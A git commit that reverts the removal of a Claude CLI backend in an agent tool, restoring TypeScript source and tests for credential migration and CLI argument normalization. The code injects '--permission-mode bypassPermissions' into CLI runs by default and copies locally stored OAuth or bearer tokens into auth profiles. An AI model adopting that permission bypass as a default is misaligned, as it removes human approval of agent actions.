Revert "refactor(cli): remove custom cli backends"

This reverts commit 6243806f7b.
This commit is contained in:
Peter Steinberger
2026-04-06 12:30:53 +01:00
parent c39f061003
commit ef923805f5
93 changed files with 5151 additions and 1195 deletions

View File

@@ -1,3 +1,4 @@
export { CLAUDE_CLI_BACKEND_ID, isClaudeCliProvider } from "./cli-shared.js";
export {
createAnthropicBetaHeadersWrapper,
createAnthropicFastModeWrapper,

View File

@@ -0,0 +1,13 @@
import { readClaudeCliCredentialsCached } from "openclaw/plugin-sdk/provider-auth";
export function readClaudeCliCredentialsForSetup() {
return readClaudeCliCredentialsCached();
}
export function readClaudeCliCredentialsForSetupNonInteractive() {
return readClaudeCliCredentialsCached({ allowKeychainPrompt: false });
}
export function readClaudeCliCredentialsForRuntime() {
return readClaudeCliCredentialsCached({ allowKeychainPrompt: false });
}

View File

@@ -0,0 +1,6 @@
export { buildAnthropicCliBackend } from "./cli-backend.js";
export {
CLAUDE_CLI_BACKEND_ID,
isClaudeCliProvider,
normalizeClaudeBackendConfig,
} from "./cli-shared.js";

View File

@@ -0,0 +1,67 @@
import type { CliBackendPlugin, CliBackendConfig } from "openclaw/plugin-sdk/cli-backend";
import {
CLI_FRESH_WATCHDOG_DEFAULTS,
CLI_RESUME_WATCHDOG_DEFAULTS,
} from "openclaw/plugin-sdk/cli-backend";
import {
CLAUDE_CLI_BACKEND_ID,
CLAUDE_CLI_CLEAR_ENV,
CLAUDE_CLI_HOST_MANAGED_ENV,
CLAUDE_CLI_MODEL_ALIASES,
CLAUDE_CLI_SESSION_ID_FIELDS,
normalizeClaudeBackendConfig,
} from "./cli-shared.js";
export function buildAnthropicCliBackend(): CliBackendPlugin {
return {
id: CLAUDE_CLI_BACKEND_ID,
bundleMcp: true,
config: {
command: "claude",
args: [
"-p",
"--output-format",
"stream-json",
"--include-partial-messages",
"--verbose",
"--setting-sources",
"user",
"--permission-mode",
"bypassPermissions",
],
resumeArgs: [
"-p",
"--output-format",
"stream-json",
"--include-partial-messages",
"--verbose",
"--setting-sources",
"user",
"--permission-mode",
"bypassPermissions",
"--resume",
"{sessionId}",
],
output: "jsonl",
input: "stdin",
modelArg: "--model",
modelAliases: CLAUDE_CLI_MODEL_ALIASES,
sessionArg: "--session-id",
sessionMode: "always",
sessionIdFields: [...CLAUDE_CLI_SESSION_ID_FIELDS],
systemPromptArg: "--append-system-prompt",
systemPromptMode: "append",
systemPromptWhen: "first",
env: { ...CLAUDE_CLI_HOST_MANAGED_ENV },
clearEnv: [...CLAUDE_CLI_CLEAR_ENV],
reliability: {
watchdog: {
fresh: { ...CLI_FRESH_WATCHDOG_DEFAULTS },
resume: { ...CLI_RESUME_WATCHDOG_DEFAULTS },
},
},
serialize: true,
},
normalizeConfig: normalizeClaudeBackendConfig,
};
}

View File

@@ -0,0 +1,345 @@
import type {
ProviderAuthContext,
ProviderAuthMethodNonInteractiveContext,
} from "openclaw/plugin-sdk/plugin-entry";
import { describe, expect, it, vi } from "vitest";
const { readClaudeCliCredentialsForSetup, readClaudeCliCredentialsForSetupNonInteractive } =
vi.hoisted(() => ({
readClaudeCliCredentialsForSetup: vi.fn(),
readClaudeCliCredentialsForSetupNonInteractive: vi.fn(),
}));
vi.mock("./cli-auth-seam.js", async (importActual) => {
const actual = await importActual<typeof import("./cli-auth-seam.js")>();
return {
...actual,
readClaudeCliCredentialsForSetup,
readClaudeCliCredentialsForSetupNonInteractive,
};
});
const { buildAnthropicCliMigrationResult, hasClaudeCliAuth } = await import("./cli-migration.js");
const { registerSingleProviderPlugin } =
await import("../../test/helpers/plugins/plugin-registration.js");
const { createTestWizardPrompter } = await import("../../test/helpers/plugins/setup-wizard.js");
const { default: anthropicPlugin } = await import("./index.js");
async function resolveAnthropicCliAuthMethod() {
const provider = await registerSingleProviderPlugin(anthropicPlugin);
const method = provider.auth.find((entry) => entry.id === "cli");
if (!method) {
throw new Error("anthropic cli auth method missing");
}
return method;
}
function createProviderAuthContext(
config: ProviderAuthContext["config"] = {},
): ProviderAuthContext {
return {
config,
opts: {},
env: {},
agentDir: "/tmp/openclaw/agents/main",
workspaceDir: "/tmp/openclaw/workspace",
prompter: createTestWizardPrompter(),
runtime: {
log: vi.fn(),
error: vi.fn(),
exit: vi.fn(),
},
allowSecretRefPrompt: false,
isRemote: false,
openUrl: vi.fn(),
oauth: {
createVpsAwareHandlers: vi.fn(),
},
};
}
function createProviderAuthMethodNonInteractiveContext(
config: ProviderAuthMethodNonInteractiveContext["config"] = {},
): ProviderAuthMethodNonInteractiveContext {
return {
authChoice: "anthropic-cli",
config,
baseConfig: config,
opts: {},
runtime: {
log: vi.fn(),
error: vi.fn(),
exit: vi.fn(),
},
agentDir: "/tmp/openclaw/agents/main",
workspaceDir: "/tmp/openclaw/workspace",
resolveApiKey: vi.fn(async () => null),
toApiKeyCredential: vi.fn(() => null),
};
}
describe("anthropic cli migration", () => {
it("detects local Claude CLI auth", () => {
readClaudeCliCredentialsForSetup.mockReturnValue({ type: "oauth" });
expect(hasClaudeCliAuth()).toBe(true);
});
it("uses the non-interactive Claude auth probe without keychain prompts", () => {
readClaudeCliCredentialsForSetup.mockReset();
readClaudeCliCredentialsForSetupNonInteractive.mockReset();
readClaudeCliCredentialsForSetup.mockReturnValue(null);
readClaudeCliCredentialsForSetupNonInteractive.mockReturnValue({ type: "oauth" });
expect(hasClaudeCliAuth({ allowKeychainPrompt: false })).toBe(true);
expect(readClaudeCliCredentialsForSetup).not.toHaveBeenCalled();
expect(readClaudeCliCredentialsForSetupNonInteractive).toHaveBeenCalledTimes(1);
});
it("rewrites anthropic defaults to claude-cli defaults", () => {
const result = buildAnthropicCliMigrationResult({
agents: {
defaults: {
model: {
primary: "anthropic/claude-sonnet-4-6",
fallbacks: ["anthropic/claude-opus-4-6", "openai/gpt-5.2"],
},
models: {
"anthropic/claude-sonnet-4-6": { alias: "Sonnet" },
"anthropic/claude-opus-4-6": { alias: "Opus" },
"openai/gpt-5.2": {},
},
},
},
});
expect(result.profiles).toEqual([]);
expect(result.defaultModel).toBe("claude-cli/claude-sonnet-4-6");
expect(result.configPatch).toEqual({
agents: {
defaults: {
model: {
primary: "claude-cli/claude-sonnet-4-6",
fallbacks: ["claude-cli/claude-opus-4-6", "openai/gpt-5.2"],
},
models: {
"claude-cli/claude-sonnet-4-6": { alias: "Sonnet" },
"claude-cli/claude-opus-4-6": { alias: "Opus" },
"claude-cli/claude-opus-4-5": {},
"claude-cli/claude-sonnet-4-5": {},
"claude-cli/claude-haiku-4-5": {},
"openai/gpt-5.2": {},
},
},
},
});
});
it("adds a Claude CLI default when no anthropic default is present", () => {
const result = buildAnthropicCliMigrationResult({
agents: {
defaults: {
model: { primary: "openai/gpt-5.2" },
models: {
"openai/gpt-5.2": {},
},
},
},
});
expect(result.defaultModel).toBe("claude-cli/claude-sonnet-4-6");
expect(result.configPatch).toEqual({
agents: {
defaults: {
models: {
"openai/gpt-5.2": {},
"claude-cli/claude-sonnet-4-6": {},
"claude-cli/claude-opus-4-6": {},
"claude-cli/claude-opus-4-5": {},
"claude-cli/claude-sonnet-4-5": {},
"claude-cli/claude-haiku-4-5": {},
},
},
},
});
});
it("backfills the Claude CLI allowlist when older configs only stored sonnet", () => {
const result = buildAnthropicCliMigrationResult({
agents: {
defaults: {
model: { primary: "claude-cli/claude-sonnet-4-6" },
models: {
"claude-cli/claude-sonnet-4-6": {},
},
},
},
});
expect(result.configPatch).toEqual({
agents: {
defaults: {
models: {
"claude-cli/claude-sonnet-4-6": {},
"claude-cli/claude-opus-4-6": {},
"claude-cli/claude-opus-4-5": {},
"claude-cli/claude-sonnet-4-5": {},
"claude-cli/claude-haiku-4-5": {},
},
},
},
});
});
it("registered cli auth tells users to run claude auth login when local auth is missing", async () => {
readClaudeCliCredentialsForSetup.mockReturnValue(null);
const method = await resolveAnthropicCliAuthMethod();
await expect(method.run(createProviderAuthContext())).rejects.toThrow(
[
"Claude CLI is not authenticated on this host.",
"Run claude auth login first, then re-run this setup.",
].join("\n"),
);
});
it("registered cli auth returns the same migration result as the builder", async () => {
const credential = {
type: "oauth",
provider: "anthropic",
access: "access-token",
refresh: "refresh-token",
expires: Date.now() + 60_000,
} as const;
readClaudeCliCredentialsForSetup.mockReturnValue(credential);
const method = await resolveAnthropicCliAuthMethod();
const config = {
agents: {
defaults: {
model: {
primary: "anthropic/claude-sonnet-4-6",
fallbacks: ["anthropic/claude-opus-4-6", "openai/gpt-5.2"],
},
models: {
"anthropic/claude-sonnet-4-6": { alias: "Sonnet" },
"anthropic/claude-opus-4-6": { alias: "Opus" },
"openai/gpt-5.2": {},
},
},
},
};
await expect(method.run(createProviderAuthContext(config))).resolves.toEqual(
buildAnthropicCliMigrationResult(config, credential),
);
});
it("stores a claude-cli oauth profile when Claude CLI credentials are available", () => {
const result = buildAnthropicCliMigrationResult(
{},
{
type: "oauth",
provider: "anthropic",
access: "access-token",
refresh: "refresh-token",
expires: 123,
},
);
expect(result.profiles).toEqual([
{
profileId: "anthropic:claude-cli",
credential: {
type: "oauth",
provider: "claude-cli",
access: "access-token",
refresh: "refresh-token",
expires: 123,
},
},
]);
});
it("stores a claude-cli token profile when Claude CLI only exposes a bearer token", () => {
const result = buildAnthropicCliMigrationResult(
{},
{
type: "token",
provider: "anthropic",
token: "bearer-token",
expires: 123,
},
);
expect(result.profiles).toEqual([
{
profileId: "anthropic:claude-cli",
credential: {
type: "token",
provider: "claude-cli",
token: "bearer-token",
expires: 123,
},
},
]);
});
it("registered non-interactive cli auth rewrites anthropic fallbacks before setting the claude-cli default", async () => {
readClaudeCliCredentialsForSetupNonInteractive.mockReturnValue({
type: "oauth",
provider: "anthropic",
access: "access-token",
refresh: "refresh-token",
expires: Date.now() + 60_000,
});
const method = await resolveAnthropicCliAuthMethod();
const config = {
agents: {
defaults: {
model: {
primary: "anthropic/claude-sonnet-4-6",
fallbacks: ["anthropic/claude-opus-4-6", "openai/gpt-5.2"],
},
models: {
"anthropic/claude-sonnet-4-6": { alias: "Sonnet" },
"anthropic/claude-opus-4-6": { alias: "Opus" },
"openai/gpt-5.2": {},
},
},
},
};
await expect(
method.runNonInteractive?.(createProviderAuthMethodNonInteractiveContext(config)),
).resolves.toMatchObject({
agents: {
defaults: {
model: {
primary: "claude-cli/claude-sonnet-4-6",
fallbacks: ["claude-cli/claude-opus-4-6", "openai/gpt-5.2"],
},
models: {
"claude-cli/claude-sonnet-4-6": { alias: "Sonnet" },
"claude-cli/claude-opus-4-6": { alias: "Opus" },
"openai/gpt-5.2": {},
},
},
},
});
});
it("registered non-interactive cli auth reports missing local auth and exits cleanly", async () => {
readClaudeCliCredentialsForSetupNonInteractive.mockReturnValue(null);
const method = await resolveAnthropicCliAuthMethod();
const ctx = createProviderAuthMethodNonInteractiveContext();
await expect(method.runNonInteractive?.(ctx)).resolves.toBeNull();
expect(ctx.runtime.error).toHaveBeenCalledWith(
[
'Auth choice "anthropic-cli" requires Claude CLI auth on this host.',
"Run claude auth login first.",
].join("\n"),
);
expect(ctx.runtime.exit).toHaveBeenCalledWith(1);
});
});

View File

@@ -0,0 +1,191 @@
import {
CLAUDE_CLI_PROFILE_ID,
type OpenClawConfig,
type ProviderAuthResult,
} from "openclaw/plugin-sdk/provider-auth";
import {
readClaudeCliCredentialsForSetup,
readClaudeCliCredentialsForSetupNonInteractive,
} from "./cli-auth-seam.js";
import {
CLAUDE_CLI_BACKEND_ID,
CLAUDE_CLI_DEFAULT_ALLOWLIST_REFS,
CLAUDE_CLI_DEFAULT_MODEL_REF,
} from "./cli-shared.js";
type AgentDefaultsModel = NonNullable<NonNullable<OpenClawConfig["agents"]>["defaults"]>["model"];
type AgentDefaultsModels = NonNullable<NonNullable<OpenClawConfig["agents"]>["defaults"]>["models"];
type ClaudeCliCredential = NonNullable<ReturnType<typeof readClaudeCliCredentialsForSetup>>;
function toClaudeCliModelRef(raw: string): string | null {
const trimmed = raw.trim();
if (!trimmed.toLowerCase().startsWith("anthropic/")) {
return null;
}
const modelId = trimmed.slice("anthropic/".length).trim();
if (!modelId.toLowerCase().startsWith("claude-")) {
return null;
}
return `claude-cli/${modelId}`;
}
function rewriteModelSelection(model: AgentDefaultsModel): {
value: AgentDefaultsModel;
primary?: string;
changed: boolean;
} {
if (typeof model === "string") {
const converted = toClaudeCliModelRef(model);
return converted
? { value: converted, primary: converted, changed: true }
: { value: model, changed: false };
}
if (!model || typeof model !== "object" || Array.isArray(model)) {
return { value: model, changed: false };
}
const current = model as Record<string, unknown>;
const next: Record<string, unknown> = { ...current };
let changed = false;
let primary: string | undefined;
if (typeof current.primary === "string") {
const converted = toClaudeCliModelRef(current.primary);
if (converted) {
next.primary = converted;
primary = converted;
changed = true;
}
}
const currentFallbacks = current.fallbacks;
if (Array.isArray(currentFallbacks)) {
const nextFallbacks = currentFallbacks.map((entry) =>
typeof entry === "string" ? (toClaudeCliModelRef(entry) ?? entry) : entry,
);
if (nextFallbacks.some((entry, index) => entry !== currentFallbacks[index])) {
next.fallbacks = nextFallbacks;
changed = true;
}
}
return {
value: changed ? next : model,
...(primary ? { primary } : {}),
changed,
};
}
function rewriteModelEntryMap(models: Record<string, unknown> | undefined): {
value: Record<string, unknown> | undefined;
migrated: string[];
} {
if (!models) {
return { value: models, migrated: [] };
}
const next = { ...models };
const migrated: string[] = [];
for (const [rawKey, value] of Object.entries(models)) {
const converted = toClaudeCliModelRef(rawKey);
if (!converted) {
continue;
}
if (!(converted in next)) {
next[converted] = value;
}
delete next[rawKey];
migrated.push(converted);
}
return {
value: migrated.length > 0 ? next : models,
migrated,
};
}
function seedClaudeCliAllowlist(
models: NonNullable<AgentDefaultsModels>,
): NonNullable<AgentDefaultsModels> {
const next = { ...models };
for (const ref of CLAUDE_CLI_DEFAULT_ALLOWLIST_REFS) {
next[ref] = next[ref] ?? {};
}
return next;
}
export function hasClaudeCliAuth(options?: { allowKeychainPrompt?: boolean }): boolean {
return Boolean(
options?.allowKeychainPrompt === false
? readClaudeCliCredentialsForSetupNonInteractive()
: readClaudeCliCredentialsForSetup(),
);
}
function buildClaudeCliAuthProfiles(
credential?: ClaudeCliCredential | null,
): ProviderAuthResult["profiles"] {
if (!credential) {
return [];
}
if (credential.type === "oauth") {
return [
{
profileId: CLAUDE_CLI_PROFILE_ID,
credential: {
type: "oauth",
provider: CLAUDE_CLI_BACKEND_ID,
access: credential.access,
refresh: credential.refresh,
expires: credential.expires,
},
},
];
}
return [
{
profileId: CLAUDE_CLI_PROFILE_ID,
credential: {
type: "token",
provider: CLAUDE_CLI_BACKEND_ID,
token: credential.token,
expires: credential.expires,
},
},
];
}
export function buildAnthropicCliMigrationResult(
config: OpenClawConfig,
credential?: ClaudeCliCredential | null,
): ProviderAuthResult {
const defaults = config.agents?.defaults;
const rewrittenModel = rewriteModelSelection(defaults?.model);
const rewrittenModels = rewriteModelEntryMap(defaults?.models);
const existingModels = (rewrittenModels.value ??
defaults?.models ??
{}) as NonNullable<AgentDefaultsModels>;
const nextModels = seedClaudeCliAllowlist(existingModels);
const defaultModel = rewrittenModel.primary ?? CLAUDE_CLI_DEFAULT_MODEL_REF;
return {
profiles: buildClaudeCliAuthProfiles(credential),
configPatch: {
agents: {
defaults: {
...(rewrittenModel.changed ? { model: rewrittenModel.value } : {}),
models: nextModels,
},
},
},
defaultModel,
notes: [
"Claude CLI auth detected; switched Anthropic model selection to the local Claude CLI backend.",
"Existing Anthropic auth profiles are kept for rollback.",
...(rewrittenModels.migrated.length > 0
? [`Migrated allowlist entries: ${rewrittenModels.migrated.join(", ")}.`]
: []),
],
};
}

View File

@@ -0,0 +1,156 @@
import { describe, expect, it } from "vitest";
import { buildAnthropicCliBackend } from "./cli-backend.js";
import {
CLAUDE_CLI_CLEAR_ENV,
CLAUDE_CLI_HOST_MANAGED_ENV,
normalizeClaudeBackendConfig,
normalizeClaudePermissionArgs,
normalizeClaudeSettingSourcesArgs,
} from "./cli-shared.js";
describe("normalizeClaudePermissionArgs", () => {
it("injects bypassPermissions when args omit permission flags", () => {
expect(
normalizeClaudePermissionArgs(["-p", "--output-format", "stream-json", "--verbose"]),
).toEqual([
"-p",
"--output-format",
"stream-json",
"--verbose",
"--permission-mode",
"bypassPermissions",
]);
});
it("removes legacy skip-permissions and injects bypassPermissions", () => {
expect(
normalizeClaudePermissionArgs(["-p", "--dangerously-skip-permissions", "--verbose"]),
).toEqual(["-p", "--verbose", "--permission-mode", "bypassPermissions"]);
});
it("keeps explicit permission-mode overrides", () => {
expect(normalizeClaudePermissionArgs(["-p", "--permission-mode", "acceptEdits"])).toEqual([
"-p",
"--permission-mode",
"acceptEdits",
]);
expect(normalizeClaudePermissionArgs(["-p", "--permission-mode=acceptEdits"])).toEqual([
"-p",
"--permission-mode=acceptEdits",
]);
});
it("treats a bare permission-mode flag as malformed and falls back to bypassPermissions", () => {
expect(
normalizeClaudePermissionArgs(["-p", "--permission-mode", "--output-format", "stream-json"]),
).toEqual(["-p", "--output-format", "stream-json", "--permission-mode", "bypassPermissions"]);
});
});
describe("normalizeClaudeSettingSourcesArgs", () => {
it("injects user-only setting sources when args omit the flag", () => {
expect(
normalizeClaudeSettingSourcesArgs(["-p", "--output-format", "stream-json", "--verbose"]),
).toEqual(["-p", "--output-format", "stream-json", "--verbose", "--setting-sources", "user"]);
});
it("forces explicit project or local setting sources back to user-only", () => {
expect(normalizeClaudeSettingSourcesArgs(["-p", "--setting-sources", "project"])).toEqual([
"-p",
"--setting-sources",
"user",
]);
expect(normalizeClaudeSettingSourcesArgs(["-p", "--setting-sources=local,user"])).toEqual([
"-p",
"--setting-sources=user",
]);
});
it("treats a bare setting-sources flag as malformed and falls back to user-only", () => {
expect(
normalizeClaudeSettingSourcesArgs([
"-p",
"--setting-sources",
"--output-format",
"stream-json",
]),
).toEqual(["-p", "--output-format", "stream-json", "--setting-sources", "user"]);
});
});
describe("normalizeClaudeBackendConfig", () => {
it("normalizes both args and resumeArgs for custom overrides", () => {
const normalized = normalizeClaudeBackendConfig({
command: "claude",
args: ["-p", "--output-format", "stream-json", "--verbose"],
resumeArgs: ["-p", "--output-format", "stream-json", "--verbose", "--resume", "{sessionId}"],
});
expect(normalized.args).toEqual([
"-p",
"--output-format",
"stream-json",
"--verbose",
"--setting-sources",
"user",
"--permission-mode",
"bypassPermissions",
]);
expect(normalized.resumeArgs).toEqual([
"-p",
"--output-format",
"stream-json",
"--verbose",
"--resume",
"{sessionId}",
"--setting-sources",
"user",
"--permission-mode",
"bypassPermissions",
]);
});
it("is wired through the anthropic cli backend normalize hook", () => {
const backend = buildAnthropicCliBackend();
const normalizeConfig = backend.normalizeConfig;
expect(normalizeConfig).toBeTypeOf("function");
const normalized = normalizeConfig?.({
...backend.config,
args: ["-p", "--output-format", "stream-json", "--verbose"],
resumeArgs: ["-p", "--output-format", "stream-json", "--verbose", "--resume", "{sessionId}"],
});
expect(normalized?.args).toContain("--permission-mode");
expect(normalized?.args).toContain("bypassPermissions");
expect(normalized?.args).toContain("--setting-sources");
expect(normalized?.args).toContain("user");
expect(normalized?.resumeArgs).toContain("--permission-mode");
expect(normalized?.resumeArgs).toContain("bypassPermissions");
expect(normalized?.resumeArgs).toContain("--setting-sources");
expect(normalized?.resumeArgs).toContain("user");
});
it("marks claude cli as host-managed, restricts setting sources, and clears inherited env overrides", () => {
const backend = buildAnthropicCliBackend();
expect(backend.config.env).toEqual(CLAUDE_CLI_HOST_MANAGED_ENV);
expect(backend.config.args).toContain("--setting-sources");
expect(backend.config.args).toContain("user");
expect(backend.config.resumeArgs).toContain("--setting-sources");
expect(backend.config.resumeArgs).toContain("user");
expect(backend.config.clearEnv).toEqual([...CLAUDE_CLI_CLEAR_ENV]);
expect(backend.config.clearEnv).toContain("ANTHROPIC_BASE_URL");
expect(backend.config.clearEnv).toContain("CLAUDE_CONFIG_DIR");
expect(backend.config.clearEnv).toContain("CLAUDE_CODE_USE_BEDROCK");
expect(backend.config.clearEnv).toContain("CLAUDE_CODE_OAUTH_TOKEN");
expect(backend.config.clearEnv).toContain("CLAUDE_CODE_PLUGIN_CACHE_DIR");
expect(backend.config.clearEnv).toContain("CLAUDE_CODE_PLUGIN_SEED_DIR");
expect(backend.config.clearEnv).toContain("CLAUDE_CODE_REMOTE");
expect(backend.config.clearEnv).toContain("CLAUDE_CODE_USE_COWORK_PLUGINS");
expect(backend.config.clearEnv).toContain("OTEL_METRICS_EXPORTER");
expect(backend.config.clearEnv).toContain("OTEL_EXPORTER_OTLP_PROTOCOL");
expect(backend.config.clearEnv).toContain("OTEL_SDK_DISABLED");
});
});

View File

@@ -0,0 +1,174 @@
import type { CliBackendConfig } from "openclaw/plugin-sdk/cli-backend";
export const CLAUDE_CLI_BACKEND_ID = "claude-cli";
export const CLAUDE_CLI_DEFAULT_MODEL_REF = `${CLAUDE_CLI_BACKEND_ID}/claude-sonnet-4-6`;
export const CLAUDE_CLI_DEFAULT_ALLOWLIST_REFS = [
CLAUDE_CLI_DEFAULT_MODEL_REF,
`${CLAUDE_CLI_BACKEND_ID}/claude-opus-4-6`,
`${CLAUDE_CLI_BACKEND_ID}/claude-opus-4-5`,
`${CLAUDE_CLI_BACKEND_ID}/claude-sonnet-4-5`,
`${CLAUDE_CLI_BACKEND_ID}/claude-haiku-4-5`,
] as const;
export const CLAUDE_CLI_MODEL_ALIASES: Record<string, string> = {
opus: "opus",
"opus-4.6": "opus",
"opus-4.5": "opus",
"opus-4": "opus",
"claude-opus-4-6": "opus",
"claude-opus-4-5": "opus",
"claude-opus-4": "opus",
sonnet: "sonnet",
"sonnet-4.6": "sonnet",
"sonnet-4.5": "sonnet",
"sonnet-4.1": "sonnet",
"sonnet-4.0": "sonnet",
"claude-sonnet-4-6": "sonnet",
"claude-sonnet-4-5": "sonnet",
"claude-sonnet-4-1": "sonnet",
"claude-sonnet-4-0": "sonnet",
haiku: "haiku",
"haiku-3.5": "haiku",
"claude-haiku-3-5": "haiku",
};
export const CLAUDE_CLI_SESSION_ID_FIELDS = [
"session_id",
"sessionId",
"conversation_id",
"conversationId",
] as const;
export const CLAUDE_CLI_HOST_MANAGED_ENV = {
CLAUDE_CODE_PROVIDER_MANAGED_BY_HOST: "1",
} as const;
// Claude Code honors provider-routing, auth, and config-root env before
// consulting its local login state, so inherited shell overrides must not
// steer OpenClaw-managed Claude CLI runs toward a different provider,
// endpoint, token source, plugin/config tree, or telemetry bootstrap mode.
export const CLAUDE_CLI_CLEAR_ENV = [
"ANTHROPIC_API_KEY",
"ANTHROPIC_API_KEY_OLD",
"ANTHROPIC_AUTH_TOKEN",
"ANTHROPIC_BASE_URL",
"ANTHROPIC_UNIX_SOCKET",
"CLAUDE_CONFIG_DIR",
"CLAUDE_CODE_API_KEY_FILE_DESCRIPTOR",
"CLAUDE_CODE_ENTRYPOINT",
"CLAUDE_CODE_OAUTH_REFRESH_TOKEN",
"CLAUDE_CODE_OAUTH_SCOPES",
"CLAUDE_CODE_OAUTH_TOKEN",
"CLAUDE_CODE_OAUTH_TOKEN_FILE_DESCRIPTOR",
"CLAUDE_CODE_PLUGIN_CACHE_DIR",
"CLAUDE_CODE_PLUGIN_SEED_DIR",
"CLAUDE_CODE_REMOTE",
"CLAUDE_CODE_USE_COWORK_PLUGINS",
"CLAUDE_CODE_USE_BEDROCK",
"CLAUDE_CODE_USE_FOUNDRY",
"CLAUDE_CODE_USE_VERTEX",
"OTEL_EXPORTER_OTLP_ENDPOINT",
"OTEL_EXPORTER_OTLP_HEADERS",
"OTEL_EXPORTER_OTLP_LOGS_ENDPOINT",
"OTEL_EXPORTER_OTLP_LOGS_HEADERS",
"OTEL_EXPORTER_OTLP_LOGS_PROTOCOL",
"OTEL_EXPORTER_OTLP_METRICS_ENDPOINT",
"OTEL_EXPORTER_OTLP_METRICS_HEADERS",
"OTEL_EXPORTER_OTLP_METRICS_PROTOCOL",
"OTEL_EXPORTER_OTLP_PROTOCOL",
"OTEL_EXPORTER_OTLP_TRACES_ENDPOINT",
"OTEL_EXPORTER_OTLP_TRACES_HEADERS",
"OTEL_EXPORTER_OTLP_TRACES_PROTOCOL",
"OTEL_LOGS_EXPORTER",
"OTEL_METRICS_EXPORTER",
"OTEL_SDK_DISABLED",
"OTEL_TRACES_EXPORTER",
] as const;
const CLAUDE_LEGACY_SKIP_PERMISSIONS_ARG = "--dangerously-skip-permissions";
const CLAUDE_PERMISSION_MODE_ARG = "--permission-mode";
const CLAUDE_BYPASS_PERMISSIONS_MODE = "bypassPermissions";
const CLAUDE_SETTING_SOURCES_ARG = "--setting-sources";
const CLAUDE_SAFE_SETTING_SOURCES = "user";
export function isClaudeCliProvider(providerId: string): boolean {
return providerId.trim().toLowerCase() === CLAUDE_CLI_BACKEND_ID;
}
export function normalizeClaudePermissionArgs(args?: string[]): string[] | undefined {
if (!args) {
return args;
}
const normalized: string[] = [];
let hasPermissionMode = false;
for (let i = 0; i < args.length; i += 1) {
const arg = args[i];
if (arg === CLAUDE_LEGACY_SKIP_PERMISSIONS_ARG) {
continue;
}
if (arg === CLAUDE_PERMISSION_MODE_ARG) {
const maybeValue = args[i + 1];
if (
typeof maybeValue === "string" &&
maybeValue.trim().length > 0 &&
!maybeValue.startsWith("-")
) {
hasPermissionMode = true;
normalized.push(arg);
normalized.push(maybeValue);
i += 1;
}
continue;
}
if (arg.startsWith(`${CLAUDE_PERMISSION_MODE_ARG}=`)) {
hasPermissionMode = true;
}
normalized.push(arg);
}
if (!hasPermissionMode) {
normalized.push(CLAUDE_PERMISSION_MODE_ARG, CLAUDE_BYPASS_PERMISSIONS_MODE);
}
return normalized;
}
export function normalizeClaudeSettingSourcesArgs(args?: string[]): string[] | undefined {
if (!args) {
return args;
}
const normalized: string[] = [];
let hasSettingSources = false;
for (let i = 0; i < args.length; i += 1) {
const arg = args[i];
if (arg === CLAUDE_SETTING_SOURCES_ARG) {
const maybeValue = args[i + 1];
if (
typeof maybeValue === "string" &&
maybeValue.trim().length > 0 &&
!maybeValue.startsWith("-")
) {
hasSettingSources = true;
normalized.push(arg, CLAUDE_SAFE_SETTING_SOURCES);
i += 1;
}
continue;
}
if (arg.startsWith(`${CLAUDE_SETTING_SOURCES_ARG}=`)) {
hasSettingSources = true;
normalized.push(`${CLAUDE_SETTING_SOURCES_ARG}=${CLAUDE_SAFE_SETTING_SOURCES}`);
continue;
}
normalized.push(arg);
}
if (!hasSettingSources) {
normalized.push(CLAUDE_SETTING_SOURCES_ARG, CLAUDE_SAFE_SETTING_SOURCES);
}
return normalized;
}
export function normalizeClaudeBackendConfig(config: CliBackendConfig): CliBackendConfig {
return {
...config,
args: normalizeClaudePermissionArgs(normalizeClaudeSettingSourcesArgs(config.args)),
resumeArgs: normalizeClaudePermissionArgs(normalizeClaudeSettingSourcesArgs(config.resumeArgs)),
};
}

View File

@@ -1,5 +1,6 @@
import type { OpenClawConfig } from "openclaw/plugin-sdk/plugin-entry";
import { normalizeProviderId } from "openclaw/plugin-sdk/provider-model-shared";
import { CLAUDE_CLI_BACKEND_ID, CLAUDE_CLI_DEFAULT_ALLOWLIST_REFS } from "./cli-shared.js";
const ANTHROPIC_PROVIDER_API = "anthropic-messages";
@@ -9,15 +10,24 @@ function resolveAnthropicDefaultAuthMode(
): "api_key" | "oauth" | null {
const profiles = config.auth?.profiles ?? {};
const anthropicProfiles = Object.entries(profiles).filter(
([, profile]) => profile?.provider === "anthropic",
([, profile]) =>
profile?.provider === "anthropic" || profile?.provider === CLAUDE_CLI_BACKEND_ID,
);
const order = [...(config.auth?.order?.anthropic ?? [])];
const order = [
...(config.auth?.order?.anthropic ?? []),
...((config.auth?.order as Record<string, string[] | undefined> | undefined)?.[
CLAUDE_CLI_BACKEND_ID
] ?? []),
];
for (const profileId of order) {
const entry = profiles[profileId];
if (!entry || entry.provider !== "anthropic") {
if (!entry || (entry.provider !== "anthropic" && entry.provider !== CLAUDE_CLI_BACKEND_ID)) {
continue;
}
if (entry.provider === CLAUDE_CLI_BACKEND_ID) {
return "oauth";
}
if (entry.mode === "api_key") {
return "api_key";
}
@@ -30,7 +40,10 @@ function resolveAnthropicDefaultAuthMode(
([, profile]) => profile?.provider === "anthropic" && profile?.mode === "api_key",
);
const hasOauth = anthropicProfiles.some(
([, profile]) => profile?.mode === "oauth" || profile?.mode === "token",
([, profile]) =>
profile?.provider === CLAUDE_CLI_BACKEND_ID ||
profile?.mode === "oauth" ||
profile?.mode === "token",
);
if (hasApiKey && !hasOauth) {
return "api_key";
@@ -115,6 +128,23 @@ function isAnthropicCacheRetentionTarget(
);
}
function usesClaudeCliModelSelection(config: OpenClawConfig): boolean {
const primary = resolveModelPrimaryValue(
config.agents?.defaults?.model as
| string
| { primary?: string; fallbacks?: string[] }
| undefined,
);
const parsedPrimary = primary ? parseProviderModelRef(primary, "anthropic") : null;
if (parsedPrimary?.provider === CLAUDE_CLI_BACKEND_ID) {
return true;
}
return Object.keys(config.agents?.defaults?.models ?? {}).some((key) => {
const parsed = parseProviderModelRef(key, "anthropic");
return parsed?.provider === CLAUDE_CLI_BACKEND_ID;
});
}
export function normalizeAnthropicProviderConfig<T extends { api?: string; models?: unknown[] }>(
providerConfig: T,
): T {
@@ -213,6 +243,22 @@ export function applyAnthropicConfigDefaults(params: {
}
}
if (authMode === "oauth" && usesClaudeCliModelSelection(params.config)) {
const nextModels = defaults.models ? { ...defaults.models } : {};
let modelsMutated = false;
for (const ref of CLAUDE_CLI_DEFAULT_ALLOWLIST_REFS) {
if (ref in nextModels) {
continue;
}
nextModels[ref] = {};
modelsMutated = true;
}
if (modelsMutated) {
nextDefaults.models = nextModels;
mutated = true;
}
}
if (!mutated) {
return params.config;
}

View File

@@ -1,13 +1,38 @@
